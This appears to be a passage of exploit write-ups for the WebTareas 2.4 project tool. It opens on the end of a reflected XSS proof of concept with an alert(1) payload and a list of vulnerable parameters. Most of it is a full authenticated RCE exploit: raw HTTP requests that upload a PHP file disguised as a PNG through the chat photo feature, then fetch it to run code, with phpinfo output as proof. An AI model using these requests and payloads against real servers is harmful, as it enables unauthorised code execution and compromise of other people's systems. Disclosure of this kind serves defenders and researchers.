Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11147 [...] <form accept-charset="UNKNOWN" method="POST" action="../general/search.php?searchtype=r4e3a\"><input type=text autofocus onfocus=alert(1)//vv7vqt317x0&searchfor=zxcv&nosearch=&searchonly=" name="searchForm" enctype="multipart/form-data" onsubmit="tinyMCE.triggerSave();return __default_checkformdata(this)"> [...] ----------------------------------------------------------------------------------------------------------------------- Other vulnerable url and params: ----------------------------------------------------------------------------------------------------------------------- /webtareas/administration/print_layout.php [doc_type] /webtareas/general/login.php [logout] /webtareas/general/login.php [session] /webtareas/general/newnotifications.php [msg] /webtareas/general/search.php [searchtype] /webtareas/administration/print_layout.php [doc_type] </code></pre>

<pre><code># Exploit Title: WebTareas 2.4 - RCE (Authorized) # Date: 15/10/2022 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://sourceforge.net/projects/webtareas/ # Software Link: https://sourceforge.net/projects/webtareas/ # Version: 2.4 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ## Example in forum -> members forum -> chat ----------------------------------------------------------------------------------------------------------------------- Param: chatPhotos0 ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- POST /webtareas/includes/chattab_serv.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------13392153614835728094189311126 Content-Length: 6852 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="action" sendPhotos -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatTo" 2 -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatType" P -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatPhotos0"; filename="snupi.php" Content-Type: image/png PNG [...] <?php phpinfo();?> [...] ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 15 Oct 2022 11:27:41 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 661 Connection: close Content-Type: application/json {"content":"<div class=\"message\"><div class=\"message-left\"><img class=\"avatar\" src=\"..\/includes\/avatars\/f2.png?ver=1665796223\"><\/div><div class=\"message-right\"><div class=\"message-info\"><div class=\"message-username\">Administrator<\/div><div class=\"message-timestamp\">2022-10-15 13:27<\/div><\/div><div class=\"photo-box\"><img src=\"..\/files\/Messages\/7.php\" onclick=\"javascript:showFullscreen(this);\"><div class=\"photo-action\"><a href=\"..\/files\/Messages\/7.php\" download=\"snupi.php\"><img title=\"Zaoszcz\u0119dzi\u0107\" src=\"..\/themes\/camping\/btn_download.png\"><\/a><\/div><label>snupi.php<\/label><\/div><\/div><\/div>"} ----------------------------------------------------------------------------------------------------------------------- See link: /files\/Messages\/7.php ----------------------------------------------------------------------------------------------------------------------- Req: ----------------------------------------------------------------------------------------------------------------------- GET /webtareas/files/Messages/7.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: image/avif,image/webp,*/* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Sec-Fetch-Dest: image Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 15 Oct 2022 11:28:16 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89945 [...] <title>PHP 7.4.30 - phpinfo()</title> [...] <h1 class="p">PHP Version 7.4.30</h1> </td></tr> </table> <table> <tr><td class="e">System </td><td class="v">Windows NT DESKTOP-LE3LSIM 10.0 build 19044 (Windows 10) AMD64 </td></tr> <tr><td class="e">Build Date </td><td class="v">Jun 7 2022 16:22:15 </td></tr> <tr><td class="e">Compiler </td><td class="v">Visual C++ 2017 [...] </code></pre>